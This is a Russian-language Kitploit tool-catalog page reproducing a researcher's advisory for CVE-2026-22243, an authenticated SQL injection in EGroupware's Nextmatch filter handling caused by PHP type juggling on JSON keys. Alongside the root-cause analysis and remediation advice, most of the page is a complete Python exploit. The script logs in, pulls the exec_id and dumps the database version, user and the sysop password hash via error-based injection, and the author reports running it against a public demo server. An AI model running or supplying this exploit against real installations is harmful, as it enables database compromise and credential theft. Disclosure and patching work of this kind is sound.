Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware имеет SQL-инъекцию в обработке фильтров Nextmatch | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-22243
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware имеет SQL-инъекцию в обработке фильтров Nextmatch

Репозиторий
45 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22243: EGroupware имеет SQL-инъекцию в обработке фильтров Nextmatch

Обзор

ПолеДетали
ID CVECVE-2026-22243
СерьёзностьВЫСОКАЯ
КонсультацияПросмотреть консультацию
ОбнаружилLukasz Rybak

Затронутые продукты

  • egroupware/egroupware (версии: < 23.1.20260113)
  • egroupware/egroupware (версии: >= 26.0.20251208, < 26.0.20260113)

Классификация CWE

  • CWE-89: Некорректная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция')

Детали

Краткое описание

Критическая аутентифицированная SQL-инъекция в обработке фильтров виджета Nextmatch

Критическая уязвимость SQL-инъекции существует в основных компонентах EGroupware, а именно в обработке фильтров Nextmatch. Дефект позволяет аутентифицированным злоумышленникам внедрять произвольные SQL-команды в предложение WHERE запросов к базе данных. Это достигается за счёт эксплуатации проблемы манипуляции типами (type juggling) в PHP, когда декодирование JSON преобразует числовые строки в целые числа, обходя проверку безопасности is_int(), используемую приложением.

Подробности

Анализ первопричины Уязвимость существует в том, как слой абстракции базы данных (Api\Db) и высокоуровневые классы хранения (Api\Storage\Base, infolog_so) обрабатывают массив col_filter, используемый в виджетах "Nextmatch".

Приложение пытается проверить входные данные с помощью is_int($key), чтобы определить, представляет ли ключ массива необработанный SQL-фрагмент, которому следует доверять. Однако при обработке JSON-запросов POST функция PHP json_decode автоматически преобразует числовые строковые ключи (например, "0") в нативные целые числа.

Следовательно, злоумышленник может отправить JSON-нагрузку с ассоциативным массивом, содержащим числовые ключи. Приложение интерпретирует эти ключи как целые числа (is_int возвращает true) и вслепую добавляет связанные значения, содержащие вредоносный SQL, непосредственно в запрос.

Местоположения уязвимого кода

  1. Файл: sources/egroupware/api/src/Db.php (приблизительно строка 1776) Метод: column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. Файл: sources/egroupware/api/src/Storage/Base.php (приблизительно строка 1134) Метод: parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

Я проверил эту уязвимость на локальном экземпляре Docker и подтвердил её (в режиме только для чтения) на вашем публичном демонстрационном экземпляре (demo.egroupware.net).

Автоматизированный эксплойт-скрипт: Следующий скрипт автоматизирует вход в систему, извлечение exec_id и выгрузку данных через SQL-инъекцию на основе ошибок.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Подтверждение проверки на demo.egroupware.net:

Я выполнил скрипт против вашего публичного демо-экземпляра, чтобы подтвердить эксплуатируемость в среде, приближенной к production (только чтение). изображение

Воздействие: Злоумышленники с доступом с низкими привилегиями могут полностью скомпрометировать базу данных. Это позволяет:

  • Потеря конфиденциальности: чтение чувствительных данных (например, хэшей паролей, токенов сеансов, личных контактных данных, секретов конфигурации).
  • Потеря целостности: изменение или удаление произвольных данных в приложении.
  • Потеря доступности: возможное удаление таблиц или повреждение данных.

Устранение

1. Проверка входных данных (белый список) Не полагайтесь исключительно на is_int() при принятии решений в области безопасности при обработке внешних входных данных, особенно JSON-данных, где ключи могут быть числовыми строками. Внедрите строгий белый список (allowlist) допустимых имён столбцов для фильтрации в виджетах Nextmatch. Если ключ/столбец отсутствует в белом списке, отклоняйте запрос.

2. Связывание параметров Убедитесь, что все значения фильтров привязываются как параметры (подготовленные выражения), а не конкатенируются напрямую в SQL-строку.

3. Строгая проверка типов При обработке JSON-входных данных убедитесь, что ключи строго проверяются на соответствие ожидаемым типам (например, с помощью === для строгого сравнения или filter_var) перед использованием в логике формирования SQL.

Благодарности

Сообщил Łukasz Rybak

Ссылки

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

Отказ от ответственности

Этот CVE был ответственно раскрыт в соответствии с практиками скоординированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.

Скачать инструмент